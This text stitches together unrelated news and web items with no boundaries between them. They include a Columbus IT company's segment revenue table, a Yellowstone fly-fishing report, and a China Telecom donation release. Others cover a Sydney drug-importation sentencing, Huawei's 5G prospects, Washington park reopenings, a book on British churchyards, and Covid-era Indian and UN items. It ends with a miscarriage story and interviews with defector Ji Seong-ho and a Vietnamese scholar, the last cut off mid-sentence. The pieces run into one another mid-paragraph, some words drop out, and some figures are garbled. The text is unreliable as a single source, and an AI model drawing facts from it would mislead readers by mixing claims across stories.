LIABILITIES 1,616,606 1,784,665 1,654,517 Segment data In order to support decisions about allocation of resources and assessment of performance of the segments, the Groups internal reporting to the Board of Directors of the Parent Company is based on the following grouping of operating segments: Strategic business areas Description Geographical segment ISV (Independent Software Vendor) Development and sale of industry-specific software within Columbus' three focus industries: Retail, food and manufacturing No specific area Consultancy Sale, implementation and service of standard business systems. Western Europe Eastern Europe North America Information about the Groups segments is stated below. Consultancy DKK 000 ISV Western Europe Eastern Europe North America HQ, GDC and Eliminations Total YTD 2020 Columbus Software licenses 1,689 889 254 301 -331 2,802 Columbus Software subscriptions 11,221 4,530 280 1,287 -3,427 13,891 Columbus cloud 4,748 1,696 359 0 -1,241 5,562 External licenses 738 16,189 3,255 6,039 1,003 27,224 External subscriptions 2,422 20,281 4,197 20,174 -1,546 45,528 External cloud 520 4,738 381 4,678 853 11,170 Services 16,907 326,567 27,867 37,712 -12,469 396,584 Other 391 7,176 201 587 -1,005 7,350 Total net revenue 38,636 382,066 36,794 70,778 -18,163 510,111 Gross profit 33,032 300,199 29,029 44,026 1,842 408,128 EBITDA 17,500 45,924 2,009 1,187 -13,331 53,289 Consultancy DKK 000 ISV Western Europe Eastern Europe North America HQ, GDC and Eliminations Total YTD 2019 Columbus Software licenses 2,624 1,369 128 390 -862 3,649 Columbus Software subscriptions 12,412 4,213 208 1,282 -3,340 14,775 Columbus cloud 3,102 1,787 118 0 -998 4,009 External licenses 624 10,051 2,360 4,575 -590 17,020 External subscriptions 1,963 19,968 3,515 21,705 -1,290 45,861 External cloud 504 2,599 199 3,800 0 7,102 Services 13,221 306,024 25,506 44,531 -9,553 379,729 Other 236 9,282 435 1,101 -726 10,328 Total net revenue 34,686 355,293 32,469 77,384 -17,359 482,473 Gross profit 30,759 273,728 26,447 49,952 5,760 386,646 EBITDA 15,506 50,845 2,589 1,202 -9,673 60,469 Attachment Yellowstone River, Columbus The river has had some color, so most anglers have been streamer fishing. The Grinch allowed to sink and stripped slow has been snagging fish. Trail a beadhead nymph of some sort off the back. For nymphing, a Pats Rubberleg, Girdle Bug, Pepperoni Yuk Bug or a stonefly pattern with a smaller beadhead nymph like a Poxyback March brown, Hares Ear, Prince, Batman, Optic Nerve, Pheasant Tail, Midge or Lil Spanker as a dropper has been picking up fish in most of the runs and around gravel bars. March browns have been showing up most afternoons if its not too windy. Dont hesitate to throw a dry fly even if theres no apparent activity. If there are rising fish, look to fish a smaller size Purple Haze or BWO Dun pattern with a Cripple Emerger RS2 or Smoke Jumper trailed off of it by 12 inches or so. Midges are likely to appear as well. Look for sippers in the foam back eddys. As the water temperature continues to warm, expect to see caddis begin to hatch. There are plenty of caddis nymphs in the rocks. Pay attention to weather activity upstream on the tributary systems as well as in the park, this will result in off-color water. Stillwater Anglers, Columbus. WASHINGTON, April 28, 2020 /PRNewswire/ -- China Telecom (Americas) Corporation (CTA)'s donation of surplus computers to the George Mason University Foundation inspired a whole new nationwide campaign organized by the China General Chamber of Commerce U.S.A (CGCC) to help American university students affected by COVID-19 with their "Remote Education And Living" needs "The REAL Initiative" calls on CGCC's member companies to donate their company surplus computers and cash to emergency assistance programs in American universities across the country. Since the Coronavirus outbreak, CTA has launched various donation campaigns to support healthcare providers, essential workers, and local communities in the U.S. Education has been a focal point of CTA's corporate social responsibility efforts. According to CTA President Xu Tan, "CTA donated tens of thousands of units of medical supplies, but there are many unique communities who need unique kinds of help. The surplus computer donations are an innovative way to leverage untapped resources to help student communities during state-mandated 'shelter-in-place', where remote education all of sudden became a necessity. Many students simply lack the hardware." "However, we also realized that the strength of a single company was far from adequate." Tan added, "CTA reached out to CGCC, which is the largest non-profit organization representing Chinese businesses in the US. CGCC embraced this idea and created the REAL Initiative, so all of its 1,500 member companies can pitch in." Within its first week, the initiative has gathered more than $33,000 worth of cash and computers. Beside CTA, the donors also included CGCC's DC Chapter and its member company Sun Fiber. Rose Pascarell, Vice President of University Life at George Mason University, extended sincere appreciation for these donations, "in less than one month, George Mason University has received applications from over 1,500 students requesting emergency funding totaling over $2.6 million. Mr. Xu Tan has been one of the strong community leaders who came to our aid. The timely and generous support from Sun Fiber, CTA and CGCC-DC will enable us to directly support Mason students, whose emergency financial needs have placed them in academic and personal jeopardy as a result of the pandemic. We are deeply grateful." SOURCE China Telecom (Americas) Corporation A Sydney criminal who attempted to bring nearly two tonnes of drugs into Australia has claimed he was entrapped by an undercover police operation. Moustafa 'Michael' Ibrahim on Tuesday argued in the Sydney District Court that he was less culpable and should receive leniency because he was induced by a police officer who had infiltrated his criminal network. Ibrahim, the younger brother of Kings Cross identity John Ibrahim, has pleaded guilty to eight charges relating to illegal drug and tobacco importing rackets. Moustafa Ibrahim (pictured), the younger brother of Kings Cross identity John Ibrahim, has pleaded guilty to eight charges relating to illegal drug and tobacco importing rackets He's facing a maximum sentence of life in prison. The court heard the 41-year-old was involved in two syndicates which attempted to import 1797 kilograms of MDMA, 136kg of cocaine and 15kg of ice into the country. During a sentencing hearing before Judge Dina Yehia, defence barrister Bret Walker SC said the groups were spurred on to attempt to import such a large quantity of drugs by the undercover police operative. Members of the group were introduced to the officer who offered them a 'door' to import illegal goods into Australia without detection by law enforcement. Ibrahim was arrested in Dubai in 2017 and - along with several other members of the group - subsequently pleaded guilty. Mostafa Dib was on Monday sentenced to at least 12 years for his part in the conspiracy, while former real estate agent Ryan Watsford last year received at least four years in jail. The court heard the 41-year-old was involved in two syndicates which attempted to import 1797 kilograms of MDMA, 136kg of cocaine and 15kg of ice into the country But Mr Walker argued the conspiracy would not have grown to the size it did without the undercover officer claiming he could sneak the drugs through customs. He said that was a 'driving feature'. 'This was not an undercover operation whereby an undercover operative engages by way of ancillary activities and evidence gathering in the activities of a group already intent on and planning for this kind of operation,' Mr Walker said. 'So far as Mr Ibrahim is concerned, nothing could be further from the truth. The facts don't record any initiating or prime mover role in relation to them.' But crown prosecutor Lincoln Crowley QC described Ibrahim as the 'glue' and a 'linchpin' who brought together the syndicates and the overseas criminal gangs they were attempting to purchase drugs from. 'The issue of entrapment - there is no basis for discount, disregarding or diminishing the objective seriousness of the offender's acts,' Mr Crowley said. The prosecutor argued it defied common sense to suggest the mere presence of the importation 'door' allowed Ibrahim and his group to suddenly forge contacts with overseas organised criminal networks. 'This is not a case where an offender has been brought in as an unwary innocent to the commission of offences which he would not have been otherwise inclined to commit,' Mr Crowley said. 'The unwary criminal is presented with means and opportunity by a police undercover operation to reveal the extent of his capabilities and contacts and his willingness as an enthusiastic participant to progress the conspiracies.' Ibrahim will be sentenced by Judge Yehia on May 20. Huaweis future is largely secured as China prepares to spend in excess of $170 billion on 5G rollouts. Even as the United States government continues targeting its businesses the world over, the Shenzen-based conglomerate appears largely unconcerned about its prospects. Thats in no small part due to the enormous size of its domestic market. Much like it somewhat insulated its consumer electronics performance, Chinas the reason Huaweis telecom ambitions are still massive. Huawei remains the worlds largest manufacturer of wireless hardware and is hence the front runner for many 5G deployment projects in the Far Eastern country. According to new reports, China will make the leap toward the next generation of telecommunications primarily with Huawei technologies. Not much hope for Huaweis 5G prospects in the West None of that is to say the future of Huaweis overseas wireless business is anything but grim. Australia and Japan both followed Washingtons lead in outright banning the firms next-gen infrastructure. The Western intelligence community largely agrees Huawei poses a security risk to Chinas geopolitical rivals. Of course, the company has been dismissing those claims as baseless for over two decades now. According to Huawei, Beijing has no more power over its dealings than e.g. the U.S. government has over Google. Then again, thats hardly a comforting thought, even assuming its true. Advertisement The Huawei-U.S. standoff has been years in the making until its 2019 culmination. Following countless clashes with American companies and numerous administrations, the Chinese behemoths supply chain endured a heavy hit last year. Between Qualcomms Snapdragon chipsets and Google Mobile Services for Android, Huaweis still extremely reliant on U.S. tech. In the aftermath of the 2019 sanctions, the company doubled down on its proprietary Android apps and smartphone silicon. The move managed to counter the immediate effects of Washingtons sanctions to put it mildly, that is. More specifically, the sanction-burdened Huawei actually managed to grow its business across the board in 2019. Whether Huaweis truly unstoppable remains to be seen, but the conglomerate certainly wont be going away anytime soon. Chinas understandably not to keen to let one of its largest corporations fold under U.S. pressure. Thats without even accounting for Huaweis overseas businesses that have been doing great in recent times. Advertisement For example, its consumer electronics unit continues to make waves across Europe, especially after strengthening its partnerships with Deutsche Telekom and many other wireless carriers on the Old Continent. Huaweis 5G prospects in Europe are also not too bad, given the circumstances. E.g. the companys likely to play a role in 5G rollouts across the UK. UPDATE: State parks in the Columbia River Gorge and at ocean beaches will not be part of the May 5 reopening. See a full list of reopening parks here. Outdoor recreation in the Pacific Northwest is slowly reopening, starting with state parks in Washington. Washington State Parks announced Monday that most park sites will reopen to the public for day-use only May 5, more than a month after closing to help stop the spread of the coronavirus. The reopening will apply to state parks, wildlife areas, recreation land and boat launches, the agency said. Campgrounds, visitor centers and other overnight accommodations will remain closed until further notice. The announcement was made alongside the Washington Department of Fish and Wildlife, which will also reopen hunting and fishing statewide on May, except for fishing on the coast. While people will be able to return to day-use areas around the state, including several popular park sites in the Columbia River Gorge, there are some caveats to the reopening. The parks department said park sites could close again if they become overcrowded or other COVID-19 related public safety concerns develop." Some parks might not reopen right away, due to overcrowding concerns and impacts on rural communities. There might also be limited access to restroom facilities as parks begin to reopen. Park officials are asking that visitors come prepared with soap, water, hand sanitizer and toilet paper, as well as masks or bandanas that cover the nose and mouth. Visitors are asked to keep six feet from anyone not in their immediate household, and to be prepared to turn around or go somewhere else if a park is too crowded. Washingtons reopening, however, will not necessarily be a blueprint for Oregon state parks. Chris Havel, spokesman for the Oregon Parks and Recreation Department, said when Oregon parks do reopen to the public, they wont all open at once. Instead, the department will make a decision for each park, based on staffing, supplies and whether the local community is prepared to handle an influx of visitors. Parks will technically be ready to begin opening in mid to late-May, though there is currently no set date, Havel said. The plan is to begin by reopening day-use sites, followed by camping later on. Washingtons decision might also affect the current closure of all U.S. Forest Service land in the Columbia River Gorge. Washington parks, Oregon parks and county-run parks in both states, jointly operate with the forest service within the Columbia River Gorge National Scenic Area. Michelle Mitchell, an assistant regional director for the U.S. Forest Service in the Pacific Northwest, said the agency is considering opening trailheads and day use areas in Washington, where its safe and feasible to do so. We dont have a specific timeline yet, but are working diligently to match the pace of the State of Washington," Mitchell said. In April, the governors of Oregon, Washington and California pledged to coordinate the reopening of their state economies. On Monday, the governors of Colorado and Nevada joined the regional pact. --Jamie Hale; jhale@oregonian.com; 503-294-4077; @HaleJamesB Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Former Chief Minister Siddaramaiah on Tuesday demanded that the Karnataka government announce a "special package" for unorganised sector workers, street vendors and autorickshaw drivers, among others, all daily wagers whose lives are affected by the COVID-19 lockdown. "..a special package needs to be announced to this section of people, this is the demand," Siddaramaiah, who is also Leader of the Opposition in the state assembly, told reporters here. Alleging that the government has failed to control the spread of coronavirus, he said it is the government's responsibility to take care of the basic needs of those from the unorganised sector, whose lives have been impacted by the lockdown. "It is the duty of the government and they should do it immediately. The package should also be announced. I will hold discussions with leaders of other opposition parties like JD(S), CPI, CPI(M) and BSP in this regard and also on trouble faced by farmers," he added. Alleging discrimination in supply of food packets and ration kits, Siddaramaiah said it was being supplied properly only in constituencies represented by BJP legislators. " is being played out in supply of food materials to the needy, keeping corporation elections in mind.... We don't want to do at this point in time as there is lockdown. If things continue to be the same after the lockdown ends, we will protest on the streets," he said. Siddaramaiah on Tuesday interacted with representatives of auto rickshaw and cab drivers, street vendors, barbers, unorganised workers organisations, among others, to understand the difficulties faced by them during lockdown and to know whether help from the government has reached them. He said most of them don't have work and it has become difficult for them to lead their normal lives. They raised several issues like auto and cab drivers being unable to pay road tax and EMI, he said, adding that he would write a detailed letter to the Chief Minister in this regard The former Chief Minister pointed out that there are about 21 lakh registered organised workers, 1.32 crore lakh unorganised workers and also agriculture labourers in the state. "Among organised workers only 12.5 of the 21 lakh are said to be getting getting Rs 2000, that too from the Employees Welfare Fund, while others could not get any money, citing reasons like they have not renewed it," he said. On the other hand, unorganised sector workers don't get money and were also not getting proper food or ration kits, he alleged Though the labour department claimed that it was supplying one lakh food packets and 1.5 lakh ration kits, as also corporations, there were leakages and it was not reaching the beneficiaries properly, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Changing Landscapes in Urban British Churchyards examines urban churchyards and kirkyards at six locations and representing 13 sites. Oxford, York, and Scarborough are among the English locations comprising inland, main, and coastal sites. Inverness, Edinburgh, and Dunbar are the Scottish counterparts. These sites were located on an east-leaning transect across the UK, joining London to Inverness. The research is based on field-based visits since 2006 for the purpose of taking measurements and digital photographs as part of the (pictorial) record. The focus was to record six variables, namely headstone shape, dimensions (volume, including height), inscriptions - including introductions, fonts, and epitaphs - and motifs. In addition, orientational readings were taken and place names were noted. Such research is necessary, especially at urban sites, because of the rapid decay evident in such polluted locations as well as influenced by management practices, and human destruction. The digital record acquired during the course of the research in combination with sketch maps for the sites provide a platform for conserving information about these memorials made available to other researchers. Study findings convey years between 1604 and 1901, spanning the 17th to 19th centuries. Seriations derived from the research denote change in stylistic preferences on headstones during this time. In addition to temporal trends, there are also spatial variations between sites and locations noted in the study results. Most notably, there was a motif-epitaph progression observed as well as patterns associated with the English and Scottish sites. The headstone shapes most prominent in these locations varied, as did introductions tendencies, and the number of fonts used. There was also a progression evident in motif use and epitaphs of varying lengths. Scottish sites showed a prevalence of more voluminous headstones, whereas the English sites tended to include more epitaphs. For the latter, the bag-of-words model and lines approach were employed to assess weathered headstones. It was also possible to classify introductions, motifs, and epitaphs according to Mortality, Salvation, and Remembrance themes in these features. Importantly, the ebook contains detailed appendices that include tables of the variable information based on the headstone IDs provided in sketch maps of the 13 sites. This contributes to preserving locational information in addition to inscriptions and other features that may weather in time and become increasingly inaccessible. Future studies can use this work as a baseline from which re-photographic studies can arrive at cross-temporal comparisons of degradation and deterioration in the physical record. Also, it is possible to make cultural assessments of change based on such records. About Editors: Sylvia E. Thornbush is a doctoral candidate and has been investigating headstones located in urban churchyards since 2006, with research interests in motifs and iconography, seriation, and cross-temporal change (as part of historical archaeology, with a focus on Victorian material culture). Dr. Thornbush has coauthored a book on the use of photography to capture landscape changes. This is her second book as a lead author publishing her British headstone research. Mary J. Thornbush is a researcher at the Faculty of Environmental Studies of York University, Canada. She spent her academic period at the Oxford University Centre for the Environment (at the University of Oxford, England, UK) as a doctoral student, postdoctoral researcher, and senior research associate. More recently, Dr. Thornbush became an assistant professor at Lakehead University, Canada, where she taught undergraduate courses in Geography and Interdisciplinary Studies. She is currently a part of the ecological footprint initiative at York University in a research capacity in the area of sustainability. Dr. Thornbush has published in various international journals and is the leading editor and author of several books, including Photographs Across Time: Studies in Urban Landscapes. She is an avid reviewer and serves on several journal editorial boards. Keywords: environmental geomorphology, historical archaeology, Urban Landscapes, headstone memorials, temporal trends, inscriptions, motifs, epitaphs ### Ten days after a 27-year-old Punjab Police constable contracted the novel coronavirus disease (Covid-19), his first test report since the infection has turned out negative. However, in compliance with the medical protocol, his samples were taken again for testing on Tuesday. The cop will be declared cured if the result of the second test is negative, officials said. Ferozepur sub-divisional magistrate Amit Gupta said, The report of the second test is likely to be received by late night today. The constable, a resident of Wara Bhai Ka village here, had tested positive for Covid-19 on April 17, following which he was shifted to the isolation ward of the civil hospital. Meanwhile, the reports of all of his 34 primary contacts, including his 58-year-old father, 52-year-old mother, 25-year-old wife and one-year-old son, came out negative a week ago. The constable was the driver of Ludhiana assistant commissioner of police (ACP) Anil Kohli, who had tested positive for Covid-19 on April 13 and passed away a few days later. The constable had returned to his native village on April 14. This is the first and only case to be reported in the border district till today. After samples of the ACPs three gunmen and driver were taken for testing, they were sent to their respective residences in Khanna, Moga, Ferozepur and Sangrur as their neighbours in Ludhiana objected to their presence. UN: Emergency COVID Measures Should Not Violate Human Rights By VOA News April 27, 2020 The U.N. High Commissioner for Human Rights is urging the world's governments to respect human rights during the COVID-19 pandemic. Michelle Bachelet said in a statement Monday that human rights should not be violated "under the guise of exceptional or emergency measures." Bachelet said emergency powers "should be used to cope effectively with the pandemic nothing more, nothing less" and "should not be a weapon governments can wield to quash dissent, control the population, and even perpetuate their time in power." The high commissioner's office has issued new policy guidance on the emergency measures because she said, "There have been numerous reports from different regions that police and other security forces have been using excessive, and at times lethal force to make people abide by lockdowns and curfews." "The abiding principle," Bachelet said, is that the emergency measures must be "enforced humanely." She added that if the rule of law is not upheld, "the public health emergency risks becoming a human rights disaster, with negative effects that will long outlast the pandemic itself." "Shooting, detaining, or abusing someone for breaking a curfew because they are desperately searching for food is clearly an unacceptable and unlawful response," Bachelet said. Almost all the countries in the world are under some kind of restrictive lockdown in an effort to halt the spread of the coronavirus. Nearly three million people around the world have been infected with the virus, according to the Johns Hopkins Coronavirus Resource Center. More than 206,000 people have died. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A new mother who went through the heartbreak of losing five babies in her desperate journey to become a parent finally has a reason to smile - after she gave birth to a beautiful little girl. Danielle Wilson, 24, from Peterborough, Cambridgeshire, was left battling depression after she suffered five devastating miscarriages as she tried to fulfil her ultimate dream of becoming a mother. Despite dozens of tests, doctors initially struggled to diagnose a problem - leaving Danielle and her partner Ed Painter, 32, desperate for answers. When the mortgage underwriter fell pregnant for a sixth time in July 2019, the couple prepared themselves for more heartbreak and devastation. But thankfully, their little daughter Georgia entered the world on March 16, weighing 7lb 10oz, after Danielle was prescribed the hormone progesterone - which maintains the uterus layer and provides oxygen to the developing foetus. Danielle Wilson (pictured left), 24, from Peterborough, Cambridgeshire, finally has reason to smile - after she gave birth to a beautiful little girl (pictured right), following five miscarriages Danielle (pictured with her partner Ed) was left battling depression after she suffered five devastating miscarriages as she tried to fulfil her ultimate dream of becoming a mother Danielle said: 'The overwhelming feeling of love when she was placed on my chest is something I simply cannot describe, it's a feeling like no other. It's something I never knew if I would get to experience. 'When I became pregnant with Georgia in July 2019, we were past being excited when we saw those two lines, all we now felt was heartache of what could happen again. 'It was quite nerve-wrecking because when I got to six weeks I was expecting something to go wrong. And even my family couldn't get excited anymore because of all the miscarriages before. 'It's a horrible feeling when you take a pregnancy test and as much as you want a baby, are dreading what's coming because you end up thinking it might happen again - the paranoia never leaves you.' The new mother added: 'We are just so happy that we finally have our little family.' Despite dozens of tests, doctors initially struggled to diagnose a problem - leaving Danielle and her partner Ed Painter (pictured with their daughter), 32, desperate for answers When the mortgage underwriter (pictured with her partner when pregnant with Georgia) fell pregnant for a sixth time in July 2019, the couple prepared themselves for more heartbreak and devastation Danielle had her first miscarriage in March 2016, at almost six weeks and says the doctors weren't alarmed as it was only her first one. Sadly, a few months later, in October 2016, she experienced the second one and although she was devastated she still didn't have any medical explanation. Danielle fell pregnant again but in July 2018 she had another miscarriage- it was then when she started getting worried and decided to look more into it. Danielle said: 'The first time I was only about six weeks when I started bleeding - the doctors weren't worried because it was my first miscarriage. 'I had only known for about a week when I had the pregnancy test, so it was quite a wild ride from being happy to "this has happened" - It was very hard for me. But thankfully, the couple's (pictured) little daughter Georgia entered the world on March 16, weighing 7lb 10oz, after Danielle was prescribed the hormone progesterone - which maintains the uterus layer and provides oxygen to the developing fetus Danielle had her first miscarriage in March 2016, at almost six weeks and says the doctors weren't alarmed as it was only her first one. Pictured, Georgia shortly after her birth Sadly, a few months later, in October 2016, she experienced the second one and although she was devastated she still didn't have any medical explanation. Pictured, baby Georgia 'The second time it was the same scenario again, I got all happy when I had the pregnancy test, I didn't really learn from my past mistake and I told all my family because I didn't think it was going to happen again. 'Doctors don't run any tests until you have three miscarriages- I was just told "it's common, one of those things". 'The next time I took the pregnancy test at four weeks and at six I miscarried again so I knew there was a problem with me. My miscarriages made me feel like a complete failure as a woman, like I could not do what I should be able to do. 'Especially as Ed has two lovely little girls from a previous relationship, although he knew what I had been through as we had been friends for years, it still devastated me that I may not be able to give him what another woman could.' Danielle fell pregnant again but in July 2018 she had another miscarriage- it was then when she started getting worried and decided to look more into it. Pictured, gifts for baby Georgia and her ultrasound After a long research, Danielle (pictured in London with Ed) ended up booking her first appointment at Tommy's National Centre for Miscarriage Research at Birmingham Women's Hospital Danielle asked her GP to refer her to the miscarriage clinic at her local hospital but she says it was 'disappointing' and got told she is young and 'it's just one of those things'. She said: 'The doctor asked me some questions and followed up with "you're young and healthy, there's no reason to believe there is anything wrong, it's probably just one of those things -you may not have even been pregnant, they could have been false positives"- I just sat there, mortified. 'The miscarriage clinic was in the maternity ward so I was surrounded by pregnant women as well, which was awful. I felt so lost, I thought we were going to get the answers we so desperately wanted. 'In a way I was hoping something was wrong with me so they could fix it, it was frustrating seeing all the results coming back fine. ' The charity helps people who have experienced miscarriage and stillbirth - meanwhile Danielle had yet another miscarriage in October 2018. Pictured, Danielle and Ed with Georgia's ultrasounds Danielle (pictured while pregnant with Georgia) had her first appointment in December 2018 and after several tests, she was prescribed progesterone and she got pregnant - unfortunately it resulted in the fifth miscarriage. But a few months later, progesterone from a positive ovulation test was what actually worked After a long research she ended up booking her first appointment at Tommy's National Centre for Miscarriage Research at Birmingham Women's Hospital. WHAT IS PROGESTERONE? Progesterone is a hormone that is secreted by the corpus luteum, a temporary endocrine gland that the female body produces after ovulation. It prepares the body for the possibility of pregnancy after ovulation. It causes a thickening of the uterus lining to allow for an egg to embed into the wall. After a woman's cycle is completed and they are not pregnant the gland breaks down and the menstrual cycle begins. If a woman does become pregnant the chemical continues to be produced to maintain the layer and provide oxygen to the developing fetus. Said to be 'oestrogen's cousin' or the 'relaxing hormone', is thought to help to maintain pregnancy. It is not typically prescribed on the NHS in the UK unless a woman has three or more miscarriages in a row. If progesterone levels are too low with regard to estrogen levels, a woman will experience sleep disturbances, irritability, anxiety, weight gain, breast swelling, breast tenderness, and itching, bloating, sweating, loss of memory, and loss of libido. Despite its widespread use in pregnancy the hormone has also been shown to promote nerve, blood vessel, and bone tissue repair. This has therefore brought around applications in tissue regeneration. Advertisement The charity helps people who have experienced miscarriage and stillbirth - meanwhile Danielle had yet another miscarriage in October 2018. Danielle and Ed had their first appointment in December 2018 and after several tests, scans and participation in trial research, they were prescribed progesterone and Danielle got pregnant- unfortunately it resulted in the fifth miscarriage in February 2019. A few months later after more scans, progesterone from a positive ovulation test was what actually worked. The couple was hesitant to believe they were going to become parents after a positive pregnancy test in July 2019. Danielle added: 'Dr Craciunas was amazing, he was determined to find out what was going on with me and he did. 'The first weekend in July, Ed and I had a wonderful mini break in London of which Ed proposed and for a while everything else that had been going on didn't matter, we were in our own little bubble. 'That bubble was popped when I got a positive pregnancy test a few days later. We were just waiting for bad news again. When we went for a scan and we heard a heartbeat, we knew she was there. 'I started feeling more calm after the 20 week scan when we found out she is a girl. When I got to 35 weeks I think it hit me, it was finally happening.' After a difficult labour Georgia Painter was born at 7lbs 10oz and three days later the happy pair were able to take her home. Danielle said: 'I can't describe the feeling when I saw her for the first time, I had this overwhelming feeling of love. I was so proud of myself especially after everything we've been through. The couple was hesitant to believe they were going to become parents after positive pregnancy tests (pictured) in July 2019 But after a difficult labour Georgia Painter was born at 7lbs 10oz and three days later the happy pair were able to take her home. Pictured, Ed with his daughter 'If I hadn't gone through all that, I wouldn't have had her today so it was all worth it. Taking her home was amazing, putting her in the car seat just didn't seem real, I was so happy. 'She is doing great now, she is very sassy and clingy but I don't mind because that means I get more cuddles. She is over 9 lbs now, she loves her food. 'My advice to other couples struggling would be to make sure you speak about it and don't give up hope - there is always someone who will help you, I was lucky to find that someone. 'Tommy's are fantastic not only for the trials and treatments they do that other hospitals don't, they are fantastic even more so for their hope and determination when you are running out of it yourself. 'Tommy's was a four hour round trip for us and that I feel it should be the normal practice for miscarriages across the country so it is more accessible for people -not everyone can make that trip.' Ji Seong-ho was a poor, desperate, disabled man in 2006 when he escaped from North Korea and found his way to the South. Now 14 years later, he will serve as a proportional representative in South Koreas National Assembly, having won his election on April, 15. Ji, along with former high-level North Korean diplomat Thae Yong-ho, will be the first former North Korean citizens to serve in the National Assembly. In 2010, Ji founded Now Action & Unity for Human rights (NAUH), a non-governmental organization that raises awareness of the human rights situation in North Korea, helps North Korean refugees make their way to South Korea, and advocates for them once they have resettled in the South. As NAUH leader, Ji has personally liaised with refugees on the run, guiding them to safety to third countries where they can apply for refugee status and start the process of moving to South Korea. Many North Korea watchers have said that Ji and Thaes successes in the elections can serve as a ray of hope for people like them in the South, who face challenges like discrimination and lack of job prospects as they try to make lives for themselves. Others have said that news of their victories spreading through North Korea is a massive PR victory for South Koreas style of government, as it shows that even former sworn enemies of South Korea, or the lowest of the low from North Korea can make it below the 38th parallel if they have enough ability, determination, and luck. Fresh off his election victory, Ji sat down with reporter Yong Jae Mok from RFAs Korean Service to discuss how his election will have an impact on the North Korean human rights situation and issues he hopes to focus on during his tenure as an assemblyman. The English translation of this Q&A uses the English term defector throughout, because it is the closest approximation of the politically tinged word used in South Korean discourse to refer to all former North Korean citizens living in South Korea. Western human rights groups however would refer to Ji and people like him as refugees, saving defector only for former North Koreans who held government or military positions at the time of their escape. The Q&A has been edited for length and clarity. RFA: Your life as a lawmaker begins in late May. How do you feel? Ji: I am moved to tears, feel extremely happy, but I also feel a lot of pressure. I was reminded of my father who was tortured to death after being seized by North Korean police while defecting from the country. I was also reminded of some of the people in my hometown who starved to death along with millions of others in the rest of the country. Also I am grateful to the people of the Republic of Korea, because I became a lawmaker thanks to their votes. I am also surprised because back in North Korea, I did not belong to the privileged class. I was the so-called dirt spoon, living a life of kotjebi [beggar children of North Korea]. So I would like to thank the people who made such a person as myself into a lawmaker. In South Korea, dirt spoon is slang to refer to people born on the opposite end of the spectrum from gold spoons, those born into privilege and wealth. Both terms are based on the English idiom born with a silver spoon in his mouth. RFA: Your election is attracting the attention not only of North Korean defectors here, but also of the people in North Korea. You were, after all, a kotjebi. So a kotjebi-turned-lawmaker, what kind of implication does that title carry? Ji: I believe my story gives hope to the North Korean people. If you are not one of the privileged few in North Korea, you can barely make a living. You cannot even go to Pyongyang freely. I risked my life to defect to the Republic of Korea and have lived here for the last 14 years. I came here as a kotjebi, but during my time here I volunteered for the local community, studied at a university, helped out other defectors, and now became a lawmaker. This means that even the 99 percent of North Korea, not just the privileged one percent can have hope. They could think that, So, there is [an alternative to North Korea]. I [too should] go to South Korea. They could also start having the hope to create a society [at home] where a man like Ji Seong-ho can become a lawmaker. I think they would have the hope that their children could live in a world where they are not limited by their background, but can live according to their will and capacity. RFA: What would kotjebi in North Korea think if they learned that you became a lawmaker? Ji: Kotjebi are children who are really poor and in desperate situations, yet they are quite smart even though they are not schooled. [I know because] I once lived as a kotjebi. They hear news before most of the other people and I am sure they would hear my news. I want to tell them, hang on to your life through whatever means possible. If I am the first kotjebi-turned lawmaker, you can be the second, the third. Bring changes to North Korea. Go to school and learn. Have courage because your hardship is not because of yourself, but because of the system in North Korea. Make a contribution to the country. But I know this can happen only if free democracy is achieved in North Korea only if the two Koreas are unified. RFA: What are you planning to focus on once you start working as a lawmaker? Ji: I used to work as a North Korean human rights activist so I will continue to work on that front. I am now also a lawmaker for the Republic of Korea, a person who represents the people. I am planning to draft legislation to improve the lives of disabled people in this country. But I also think reunification of the two Koreas is not far off but is coming soon. So I will help North Korean defectors in the South get settled in the country and help them lead successful lives. RFA: What do you think of the human rights situation in North Korea? What can you do about it as a lawmaker? Ji: I will make an alliance of lawmakers around the world to improve the human rights situation in North Korea. I want to work with lawmakers from countries where people enjoy basic human rights and expose the wrongdoings of the North Korean regime. They are violating the human rights of North Koreans down to such trivial things. In North Korea, people do not have freedom of movement. They cannot eat what they want to eat or get proper compensation for their work. They are also forced to sit through government propaganda and are deprived of religious freedom. There are a lot of problems regarding North Korean human rights. I will raise all these issues one by one. I will also work with the United Nations to cooperate with the international community to improve the human rights situation in North Korea. I personally think political prison camps are the worst forms of human rights violation. I will get rid of such places where people are treated like animals and are forced to suffer for life with their family members just because they have different thoughts. Female North Korean defectors are imprisoned in a correctional labor camp located in a village called Jongo-ri of Hoeryong, North Hamgyong province. My heart gets torn whenever I hear that human rights violations are rampant in that place and that some prisoners starve to death. I also hear that they built a plant to process dead bodies and the smoke never ceases bellowing out of its smokestack. I will bring this issue up too. RFA: What about the human rights situation of North Korean defectors in China? What can be done to improve that? Ji: I have a lot of plans, although they are not mature enough to be revealed in this interview. What I can say now is that a number of female North Korean defectors are in China and there are still people who are escaping from North Korea. I believe South Koreas Ministry of Foreign Affairs should play a central role in making sure they come to South Korea safely and not be repatriated to North Korea. I will lead efforts to strengthen such responsibilities. Another rising problem is the children of female North Korean defectors in China. A lot of these defectors miss their children dearly and are looking for ways to bring their children to South Korea. I will do my best to resolve this issue as well and in order to do so, I need the South Korean peoples support. We should not just see their hardship once and look away. If the South Korean people support this cause and extend help, regarding their pain as our own, as that of our children, sisters and mothers, China would not be able to deal with them so recklessly. Estimates of the number of North Korean refugees in China vary in range, with some suggesting as many as 300,000 could be living there at any given time. Reported by Yong Jae Mok for RFAs Korean Service. Translated by Jeong Eun Lee. Written in English by Eugene Whong. Chao Thi Yen, a young woman from the Dao Tuyen ethnic minority in northwest Vietnam has defied challenges to become the first woman from her community to earn a masters degree abroad through a full-degree scholarship awarded by the European Union. She speaks with Bui Quynh Hoa about her climb out of poverty and into a position to help children from ethnic minority areas across the country through her work with the Centre for People and Nature Reconciliation (PanNature) in Hanoi. Chao Thi Yen, a member of the Dao Tuyen ethnic minority from the northwest of Vietnam, is inspiration to her community because of her efforts to escape from poverty. Photo courtesy of Chao Thi Yen Could you tell us about yourself? I am Chao Thi Yen. I come from the Dao Tuyen ethnic minority in Ngam Xa Hamlet, Nam Chac Village in Lao Cai Provinces Bat Xat District. At present, I am working as a policy programme assistant at the Center for People and Nature Reconciliation (PanNature). What challenges did you face in your childhood? Well, like most children in remote areas, we lived under poverty. We didn't have enough rice for meals all year-round. Having cassava instead of rice was a normal thing for us. Besides the lack of food, we did not have access to electricity and education, especially higher education. People in my community believed 